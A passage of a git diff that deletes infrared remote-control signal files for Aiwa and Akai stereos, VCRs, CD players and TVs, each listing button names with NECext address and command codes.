6E 00 00 00 -command: 4E 00 00 00 -# -name: Karaoke -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 50 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 51 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 52 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 53 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Aiwa/Unknown_rc-tz650/110,0.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Aiwa/Unknown_rc-tz650/110,0.ir deleted file mode 100644 index 5270a2203..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Aiwa/Unknown_rc-tz650/110,0.ir +++ /dev/null @@ -1,224 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 00 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 01 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 02 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 03 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 04 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 05 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 06 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 07 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 08 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 09 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 0A 00 00 00 -# -name: KEY_10CHANNELSUP -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 0B 00 00 00 -# -name: s7 -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 0C 00 00 00 -# -name: s8 -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 0E 00 00 00 -# -name: s9 -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 11 00 00 00 -# -name: fmmode -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 12 00 00 00 -# -name: s6 -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 14 00 00 00 -# -name: s1 -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 15 00 00 00 -# -name: s2 -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 16 00 00 00 -# -name: s4 -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 17 00 00 00 -# -name: s5 -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 19 00 00 00 -# -name: band -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 1C 00 00 00 -# -name: func -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 1E 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 40 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 41 00 00 00 -# -name: KEY_FORWARD -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 42 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 42 00 00 00 -# -name: bwd -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 43 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 43 00 00 00 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 44 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 4D 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 4E 00 00 00 -# -name: s+10 -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 50 00 00 00 -# -name: ddp1 -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 51 00 00 00 -# -name: ddp2 -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 52 00 00 00 -# -name: ddp3 -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 53 00 00 00 -# -name: s3 -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 56 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Aiwa/Unknown_rc6as14/110,0.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Aiwa/Unknown_rc6as14/110,0.ir deleted file mode 100644 index 80cbb87f0..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Aiwa/Unknown_rc6as14/110,0.ir +++ /dev/null @@ -1,206 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 00 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 01 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 02 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 03 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 04 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 05 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 06 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 07 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 08 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 09 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 0A 00 00 00 -# -name: plus10 -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 0B 00 00 00 -# -name: shift7 -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 0C 00 00 00 -# -name: shift8 -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 0E 00 00 00 -# -name: shift9 -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 11 00 00 00 -# -name: shift0 -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 12 00 00 00 -# -name: shift3 -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 15 00 00 00 -# -name: shift1 -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 17 00 00 00 -# -name: shift2 -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 19 00 00 00 -# -name: shiftplus10 -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 1C 00 00 00 -# -name: function -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 1E 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 40 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 41 00 00 00 -# -name: KEY_NEXT -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 42 00 00 00 -# -name: KEY_PREVIOUS -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 43 00 00 00 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 44 00 00 00 -# -name: shift6 -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 47 00 00 00 -# -name: shift4 -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 49 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 4D 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 4E 00 00 00 -# -name: shift5 -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 50 00 00 00 -# -name: cd1 -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 51 00 00 00 -# -name: cd2 -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 52 00 00 00 -# -name: cd3 -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 53 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Aiwa/VCR/127,0.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Aiwa/VCR/127,0.ir deleted file mode 100644 index 04566f70a..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Aiwa/VCR/127,0.ir +++ /dev/null @@ -1,398 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: POWER -type: parsed -protocol: NECext -address: 7F 00 00 00 -command: 00 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 7F 00 00 00 -command: 01 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 7F 00 00 00 -command: 02 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 7F 00 00 00 -command: 03 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 7F 00 00 00 -command: 04 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 7F 00 00 00 -command: 05 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 7F 00 00 00 -command: 06 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 7F 00 00 00 -command: 07 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 7F 00 00 00 -command: 08 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 7F 00 00 00 -command: 09 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: 7F 00 00 00 -command: 0A 00 00 00 -# -name: CH -type: parsed -protocol: NECext -address: 7F 00 00 00 -command: 0C 00 00 00 -# -name: TV/VCR -type: parsed -protocol: NECext -address: 7F 00 00 00 -command: 0D 00 00 00 -# -name: INPUT -type: parsed -protocol: NECext -address: 7F 00 00 00 -command: 0E 00 00 00 -# -name: DISPLAY -type: parsed -protocol: NECext -address: 7F 00 00 00 -command: 10 00 00 00 -# -name: COUNTER_DISPLAY -type: parsed -protocol: NECext -address: 7F 00 00 00 -command: 10 00 00 00 -# -name: FAST_FORWARD_>> -type: parsed -protocol: NECext -address: 7F 00 00 00 -command: 11 00 00 00 -# -name: F.FWD_>>_/_>> -type: parsed -protocol: NECext -address: 7F 00 00 00 -command: 11 00 00 00 -# -name: REWIND_<< -type: parsed -protocol: NECext -address: 7F 00 00 00 -command: 12 00 00 00 -# -name: REW_<<_/_<< -type: parsed -protocol: NECext -address: 7F 00 00 00 -command: 12 00 00 00 -# -name: RECORD_/_OTR -type: parsed -protocol: NECext -address: 7F 00 00 00 -command: 14 00 00 00 -# -name: -REC/QTR- -type: parsed -protocol: NECext -address: 7F 00 00 00 -command: 14 00 00 00 -# -name: PLAY -type: parsed -protocol: NECext -address: 7F 00 00 00 -command: 15 00 00 00 -# -name: PLAY_> -type: parsed -protocol: NECext -address: 7F 00 00 00 -command: 15 00 00 00 -# -name: PAUSE/STILL -type: parsed -protocol: NECext -address: 7F 00 00 00 -command: 17 00 00 00 -# -name: PAUSE/STILL_ -type: parsed -protocol: NECext -address: 7F 00 00 00 -command: 17 00 00 00 -# -name: STOP -type: parsed -protocol: NECext -address: 7F 00 00 00 -command: 1A 00 00 00 -# -name: STOP_[] -type: parsed -protocol: NECext -address: 7F 00 00 00 -command: 1A 00 00 00 -# -name: 100 -type: parsed -protocol: NECext -address: 7F 00 00 00 -command: 1B 00 00 00 -# -name: T-REC -type: parsed -protocol: NECext -address: 7F 00 00 00 -command: 1E 00 00 00 -# -name: CLEAR -type: parsed -protocol: NECext -address: 7F 00 00 00 -command: 1F 00 00 00 -# -name: CANCEL -type: parsed -protocol: NECext -address: 7F 00 00 00 -command: 1F 00 00 00 -# -name: CHANNEL_+ -type: parsed -protocol: NECext -address: 7F 00 00 00 -command: 40 00 00 00 -# -name: CHANNEL_UP_^ -type: parsed -protocol: NECext -address: 7F 00 00 00 -command: 40 00 00 00 -# -name: CHANNEL_- -type: parsed -protocol: NECext -address: 7F 00 00 00 -command: 41 00 00 00 -# -name: CHANNEL_DOWN_V -type: parsed -protocol: NECext -address: 7F 00 00 00 -command: 41 00 00 00 -# -name: ZERO_RETURN -type: parsed -protocol: NECext -address: 7F 00 00 00 -command: 45 00 00 00 -# -name: TRACKING_+ -type: parsed -protocol: NECext -address: 7F 00 00 00 -command: 46 00 00 00 -# -name: TRACKING_- -type: parsed -protocol: NECext -address: 7F 00 00 00 -command: 47 00 00 00 -# -name: EJECT -type: parsed -protocol: NECext -address: 7F 00 00 00 -command: 48 00 00 00 -# -name: RESET -type: parsed -protocol: NECext -address: 7F 00 00 00 -command: 4C 00 00 00 -# -name: COUNTER_RESET -type: parsed -protocol: NECext -address: 7F 00 00 00 -command: 4C 00 00 00 -# -name: INDEX_SEARCH -type: parsed -protocol: NECext -address: 7F 00 00 00 -command: 4D 00 00 00 -# -name: T._SPEED -type: parsed -protocol: NECext -address: 7F 00 00 00 -command: 50 00 00 00 -# -name: TAPE_SPEED -type: parsed -protocol: NECext -address: 7F 00 00 00 -command: 50 00 00 00 -# -name: COUNTER_MEMORY -type: parsed -protocol: NECext -address: 7F 00 00 00 -command: 51 00 00 00 -# -name: COUNTER_CLOCK -type: parsed -protocol: NECext -address: 7F 00 00 00 -command: 56 00 00 00 -# -name: A-TR -type: parsed -protocol: NECext -address: 7F 00 00 00 -command: 5C 00 00 00 -# -name: MENU -type: parsed -protocol: NECext -address: 7F 00 00 00 -command: 81 00 00 00 -# -name: CURSOR_RIGHT -type: parsed -protocol: NECext -address: 7F 00 00 00 -command: 83 00 00 00 -# -name: CURSOR_> -type: parsed -protocol: NECext -address: 7F 00 00 00 -command: 83 00 00 00 -# -name: CURSOR_LEFT -type: parsed -protocol: NECext -address: 7F 00 00 00 -command: 84 00 00 00 -# -name: CURSOR_< -type: parsed -protocol: NECext -address: 7F 00 00 00 -command: 84 00 00 00 -# -name: SEARCH/INDEX_>> -type: parsed -protocol: NECext -address: 7F 00 00 00 -command: 85 00 00 00 -# -name: VARIABLE_SEARCH_>> -type: parsed -protocol: NECext -address: 7F 00 00 00 -command: 85 00 00 00 -# -name: SEARCH/INDEX_<< -type: parsed -protocol: NECext -address: 7F 00 00 00 -command: 86 00 00 00 -# -name: VARIABLE_SEARCH_<< -type: parsed -protocol: NECext -address: 7F 00 00 00 -command: 86 00 00 00 -# -name: INDEX_MARK -type: parsed -protocol: NECext -address: 7F 00 00 00 -command: 87 00 00 00 -# -name: INDEX_ERASE -type: parsed -protocol: NECext -address: 7F 00 00 00 -command: 88 00 00 00 -# -name: CURSOR_UP -type: parsed -protocol: NECext -address: 7F 00 00 00 -command: 8D 00 00 00 -# -name: CURSOR_^ -type: parsed -protocol: NECext -address: 7F 00 00 00 -command: 8D 00 00 00 -# -name: CURSOR_DOWN -type: parsed -protocol: NECext -address: 7F 00 00 00 -command: 8E 00 00 00 -# -name: CURSOR_V -type: parsed -protocol: NECext -address: 7F 00 00 00 -command: 8E 00 00 00 -# -name: SUMMER_TIME -type: parsed -protocol: NECext -address: 7F 00 00 00 -command: 90 00 00 00 -# -name: OK -type: parsed -protocol: NECext -address: 7F 00 00 00 -command: 9F 00 00 00 -# -name: FREEZE -type: parsed -protocol: NECext -address: 7F 00 00 00 -command: C1 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Aiwa/VCR/130,111.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Aiwa/VCR/130,111.ir deleted file mode 100644 index 173a5d94c..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Aiwa/VCR/130,111.ir +++ /dev/null @@ -1,62 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: PAL-SCAM/NTSC1/NTSC2 -type: parsed -protocol: NECext -address: 82 6F 00 00 -command: 13 00 00 00 -# -name: TRACKING_+ -type: parsed -protocol: NECext -address: 82 6F 00 00 -command: 17 00 00 00 -# -name: POWER -type: parsed -protocol: NECext -address: 82 6F 00 00 -command: 18 00 00 00 -# -name: STOP_[] -type: parsed -protocol: NECext -address: 82 6F 00 00 -command: 19 00 00 00 -# -name: PLAY_> -type: parsed -protocol: NECext -address: 82 6F 00 00 -command: 1A 00 00 00 -# -name: FF/SRCH_>> -type: parsed -protocol: NECext -address: 82 6F 00 00 -command: 1B 00 00 00 -# -name: REW/SRCH_<< -type: parsed -protocol: NECext -address: 82 6F 00 00 -command: 1C 00 00 00 -# -name: PAUSE_/>< -type: parsed -protocol: NECext -address: 82 6F 00 00 -command: 1D 00 00 00 -# -name: REC -type: parsed -protocol: NECext -address: 82 6F 00 00 -command: 1E 00 00 00 -# -name: TRACKING_- -type: parsed -protocol: NECext -address: 82 6F 00 00 -command: 1F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Akai/CD Player/141,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Akai/CD Player/141,-1.ir deleted file mode 100644 index 364b40980..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Akai/CD Player/141,-1.ir +++ /dev/null @@ -1,128 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: 0 -type: parsed -protocol: NECext -address: 8D 00 00 00 -command: 00 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 8D 00 00 00 -command: 01 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 8D 00 00 00 -command: 02 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 8D 00 00 00 -command: 03 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 8D 00 00 00 -command: 04 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 8D 00 00 00 -command: 05 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 8D 00 00 00 -command: 06 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 8D 00 00 00 -command: 07 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 8D 00 00 00 -command: 08 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 8D 00 00 00 -command: 09 00 00 00 -# -name: PROGRAM -type: parsed -protocol: NECext -address: 8D 00 00 00 -command: 0C 00 00 00 -# -name: CLEAR -type: parsed -protocol: NECext -address: 8D 00 00 00 -command: 13 00 00 00 -# -name: EJECT -type: parsed -protocol: NECext -address: 8D 00 00 00 -command: 15 00 00 00 -# -name: >> -type: parsed -protocol: NECext -address: 8D 00 00 00 -command: 16 00 00 00 -# -name: << -type: parsed -protocol: NECext -address: 8D 00 00 00 -command: 17 00 00 00 -# -name: DISPLAY -type: parsed -protocol: NECext -address: 8D 00 00 00 -command: 1A 00 00 00 -# -name: REPEAT -type: parsed -protocol: NECext -address: 8D 00 00 00 -command: 1B 00 00 00 -# -name: PLAY_/_PAUSE -type: parsed -protocol: NECext -address: 8D 00 00 00 -command: 1C 00 00 00 -# -name: >> -type: parsed -protocol: NECext -address: 8D 00 00 00 -command: 1D 00 00 00 -# -name: << -type: parsed -protocol: NECext -address: 8D 00 00 00 -command: 1E 00 00 00 -# -name: STOP -type: parsed -protocol: NECext -address: 8D 00 00 00 -command: 1F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Akai/Unknown_AKAI-RC-AAV2100/160,160.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Akai/Unknown_AKAI-RC-AAV2100/160,160.ir deleted file mode 100644 index d033767c0..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Akai/Unknown_AKAI-RC-AAV2100/160,160.ir +++ /dev/null @@ -1,182 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: delay.T+ -type: parsed -protocol: NECext -address: A0 A0 00 00 -command: 01 00 00 00 -# -name: Dolby_Digital -type: parsed -protocol: NECext -address: A0 A0 00 00 -command: 02 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: A0 A0 00 00 -command: 03 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: A0 A0 00 00 -command: 04 00 00 00 -# -name: KEY_VIDEO -type: parsed -protocol: NECext -address: A0 A0 00 00 -command: 05 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: A0 A0 00 00 -command: 06 00 00 00 -# -name: T_Tone -type: parsed -protocol: NECext -address: A0 A0 00 00 -command: 07 00 00 00 -# -name: surround -type: parsed -protocol: NECext -address: A0 A0 00 00 -command: 09 00 00 00 -# -name: KEY_DVD -type: parsed -protocol: NECext -address: A0 A0 00 00 -command: 0A 00 00 00 -# -name: CH.Trim -type: parsed -protocol: NECext -address: A0 A0 00 00 -command: 0B 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: A0 A0 00 00 -command: 0C 00 00 00 -# -name: SPK_on_Off -type: parsed -protocol: NECext -address: A0 A0 00 00 -command: 0D 00 00 00 -# -name: Stereo -type: parsed -protocol: NECext -address: A0 A0 00 00 -command: 0E 00 00 00 -# -name: KEY_AUX -type: parsed -protocol: NECext -address: A0 A0 00 00 -command: 0F 00 00 00 -# -name: KEY_TAPE -type: parsed -protocol: NECext -address: A0 A0 00 00 -command: 11 00 00 00 -# -name: SPK_Setting -type: parsed -protocol: NECext -address: A0 A0 00 00 -command: 12 00 00 00 -# -name: Dynamic -type: parsed -protocol: NECext -address: A0 A0 00 00 -command: 13 00 00 00 -# -name: bass_mgt -type: parsed -protocol: NECext -address: A0 A0 00 00 -command: 14 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: A0 A0 00 00 -command: 15 00 00 00 -# -name: Memory -type: parsed -protocol: NECext -address: A0 A0 00 00 -command: 16 00 00 00 -# -name: X_KEY_2Ch -type: parsed -protocol: NECext -address: A0 A0 00 00 -command: 17 00 00 00 -# -name: delay.T- -type: parsed -protocol: NECext -address: A0 A0 00 00 -command: 19 00 00 00 -# -name: Pro_Logic -type: parsed -protocol: NECext -address: A0 A0 00 00 -command: 1A 00 00 00 -# -name: Station- -type: parsed -protocol: NECext -address: A0 A0 00 00 -command: 1B 00 00 00 -# -name: Band -type: parsed -protocol: NECext -address: A0 A0 00 00 -command: 1C 00 00 00 -# -name: Auto -type: parsed -protocol: NECext -address: A0 A0 00 00 -command: 1E 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: A0 A0 00 00 -command: 1F 00 00 00 -# -name: KEY_TUNER -type: parsed -protocol: NECext -address: A0 A0 00 00 -command: 60 00 00 00 -# -name: KEY_CD -type: parsed -protocol: NECext -address: A0 A0 00 00 -command: A0 00 00 00 -# -name: Station+ -type: parsed -protocol: NECext -address: A0 A0 00 00 -command: E0 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Akai/Unknown_Akai-RC-61A/11,11.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Akai/Unknown_Akai-RC-61A/11,11.ir deleted file mode 100644 index e7989c876..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Akai/Unknown_Akai-RC-61A/11,11.ir +++ /dev/null @@ -1,200 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 0B 0B 00 00 -command: 00 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 0B 0B 00 00 -command: 01 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 0B 0B 00 00 -command: 02 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 0B 0B 00 00 -command: 03 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 0B 0B 00 00 -command: 04 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 0B 0B 00 00 -command: 05 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 0B 0B 00 00 -command: 06 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 0B 0B 00 00 -command: 07 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 0B 0B 00 00 -command: 08 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 0B 0B 00 00 -command: 09 00 00 00 -# -name: KEY_SLEEP -type: parsed -protocol: NECext -address: 0B 0B 00 00 -command: 0A 00 00 00 -# -name: KEY_TEXT -type: parsed -protocol: NECext -address: 0B 0B 00 00 -command: 0B 00 00 00 -# -name: KEY_CYCLEWINDOWS -type: parsed -protocol: NECext -address: 0B 0B 00 00 -command: 0C 00 00 00 -# -name: KEY_10CHANNELSUP -type: parsed -protocol: NECext -address: 0B 0B 00 00 -command: 0D 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 0B 0B 00 00 -command: 0E 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 0B 0B 00 00 -command: 0F 00 00 00 -# -name: picture -type: parsed -protocol: NECext -address: 0B 0B 00 00 -command: 10 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 0B 0B 00 00 -command: 11 00 00 00 -# -name: index -type: parsed -protocol: NECext -address: 0B 0B 00 00 -command: 11 00 00 00 -# -name: exp -type: parsed -protocol: NECext -address: 0B 0B 00 00 -command: 13 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 0B 0B 00 00 -command: 14 00 00 00 -# -name: KEY_SLEEP -type: parsed -protocol: NECext -address: 0B 0B 00 00 -command: 15 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 0B 0B 00 00 -command: 16 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 0B 0B 00 00 -command: 17 00 00 00 -# -name: norm -type: parsed -protocol: NECext -address: 0B 0B 00 00 -command: 18 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 0B 0B 00 00 -command: 18 00 00 00 -# -name: KEY_SUBTITLE -type: parsed -protocol: NECext -address: 0B 0B 00 00 -command: 19 00 00 00 -# -name: mix -type: parsed -protocol: NECext -address: 0B 0B 00 00 -command: 1A 00 00 00 -# -name: rev -type: parsed -protocol: NECext -address: 0B 0B 00 00 -command: 1B 00 00 00 -# -name: KEY_RED -type: parsed -protocol: NECext -address: 0B 0B 00 00 -command: 1C 00 00 00 -# -name: KEY_GREEN -type: parsed -protocol: NECext -address: 0B 0B 00 00 -command: 1D 00 00 00 -# -name: KEY_YELLOW -type: parsed -protocol: NECext -address: 0B 0B 00 00 -command: 1E 00 00 00 -# -name: KEY_BLUE -type: parsed -protocol: NECext -address: 0B 0B 00 00 -command: 1F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Akai/Unknown_Akai-RC-V23E/137,119.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Akai/Unknown_Akai-RC-V23E/137,119.ir deleted file mode 100644 index c7bfc9fa2..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Akai/Unknown_Akai-RC-V23E/137,119.ir +++ /dev/null @@ -1,98 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_NEXT -type: parsed -protocol: NECext -address: 89 77 00 00 -command: 01 00 00 00 -# -name: KEY_PREVIOUS -type: parsed -protocol: NECext -address: 89 77 00 00 -command: 02 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 89 77 00 00 -command: 03 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 89 77 00 00 -command: 06 00 00 00 -# -name: KEY_SLOW -type: parsed -protocol: NECext -address: 89 77 00 00 -command: 09 00 00 00 -# -name: Pic+ -type: parsed -protocol: NECext -address: 89 77 00 00 -command: 0D 00 00 00 -# -name: Pic- -type: parsed -protocol: NECext -address: 89 77 00 00 -command: 0E 00 00 00 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: 89 77 00 00 -command: 0F 00 00 00 -# -name: KEY_EJECTCD -type: parsed -protocol: NECext -address: 89 77 00 00 -command: 10 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 89 77 00 00 -command: 13 00 00 00 -# -name: KEY_RECORD -type: parsed -protocol: NECext -address: 89 77 00 00 -command: 16 00 00 00 -# -name: KEY_TV -type: parsed -protocol: NECext -address: 89 77 00 00 -command: 17 00 00 00 -# -name: Auto -type: parsed -protocol: NECext -address: 89 77 00 00 -command: 18 00 00 00 -# -name: Tracking+ -type: parsed -protocol: NECext -address: 89 77 00 00 -command: 58 00 00 00 -# -name: Tracking- -type: parsed -protocol: NECext -address: 89 77 00 00 -command: 59 00 00 00 -# -name: KEY_AGAIN -type: parsed -protocol: NECext -address: 89 77 00 00 -command: 5E 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Akai/Unknown_RC-C79/141,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Akai/Unknown_RC-C79/141,-1.ir deleted file mode 100644 index a5a1be27d..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Akai/Unknown_RC-C79/141,-1.ir +++ /dev/null @@ -1,266 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 8D 00 00 00 -command: 00 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 8D 00 00 00 -command: 01 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 8D 00 00 00 -command: 02 00 00 00 -# -name: KEY_3 -type: parsed 